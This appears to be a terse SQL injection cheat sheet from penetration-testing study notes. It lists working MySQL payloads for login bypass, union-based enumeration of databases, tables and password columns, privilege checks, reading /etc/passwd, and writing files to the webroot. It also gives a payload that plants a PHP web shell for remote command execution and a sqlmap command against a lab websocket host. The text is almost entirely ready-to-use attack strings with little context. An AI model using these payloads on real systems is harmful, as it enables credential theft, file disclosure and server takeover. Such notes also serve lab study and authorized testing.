15 - SQL Injection

Standard Injections

sql
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

Union-Based

MySQL — List Databases

sql
... UNION SELECT null, schema_name, null, null FROM information_schema.schemata-- -

List Tables in the Current Database

sql
... UNION SELECT null, table_name, null, null FROM information_schema.tables WHERE table_schema=database()-- -

List Columns

sql
... UNION SELECT null, column_name, null, null FROM information_schema.columns WHERE table_schema='DB' and table_name='tabla'-- -

Extract Data from a Table

sql
... UNION SELECT id, username, password, 4 FROM users-- -

Useful Injections

Current User

sql
' UNION SELECT 1, USER(), 3, 4-- -

Check Whether the User Is a Superadmin (DBA)

sql
' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

List Other Privileges (FILE,…)

sql
' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

Read Files

sql
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -

Write Files

Conditions: FILE privilege; empty secure_file_priv (if it has a value, files can only be written there; if it is NULL, writing is not allowed); and write access to the directory.
sql
' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -

SELECT ... INTO OUTFILE

sql
SELECT * FROM users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';

Write to WEBROOT

sql
' UNION SELECT 1,'file written successfully!',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -

Write a WEB SHELL for RCE

sql
' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"", "" INTO OUTFILE '/var/www/html/shell.php'-- -
Then, accessing http://<ip>/shell.php?0=id executes the command.

WebSockets

bash
$ sqlmap -u ws://soc-player.soccer.htb:9091/ --data '{"id":"66666 or 1=1"}' --batch --dbs